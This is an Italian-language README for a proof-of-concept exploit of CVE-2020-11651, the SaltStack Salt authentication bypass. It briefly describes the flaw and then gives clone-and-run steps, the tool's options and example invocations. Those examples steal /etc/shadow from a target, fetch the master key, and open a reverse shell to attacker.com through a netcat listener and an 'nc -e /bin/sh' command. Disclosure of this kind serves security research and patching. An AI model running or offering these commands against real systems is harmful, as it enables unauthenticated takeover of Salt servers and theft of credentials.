
CVE-2020-11651: Prova di concetto
È stato scoperto un problema in SaltStack Salt prima della versione 2019.2.4 e 3000 prima della 3000.2. La classe ClearFuncs del processo salt-master non convalida correttamente le chiamate ai metodi. Ciò consente a un utente remoto di accedere ad alcuni metodi senza autenticazione. Questi metodi possono essere utilizzati per recuperare token utente dal salt master e/o eseguire comandi arbitrari sui minion salt.
Patch per versioni di salt non supportate
git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py
$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]
CVE-2020-11651 PoC
optional arguments:
-h, --help show this help message and exit
--host HOST, -t HOST
--port PORT, -p PORT
--execute COMMAND, -e COMMAND
Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
--upload src dest, -u src dest
Upload a file
--download src dest, -d src dest
Download a file
--minions Send command to all minions on master
--quiet, -q Enable quiet/silent mode
--fetch-key-only Only fetch the key
./PoC.py --host target.com --download /etc/shadow ./shadow
nc -nvl attacker.com 9999
./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""
./PoC.py --host target.com --fetch-key-only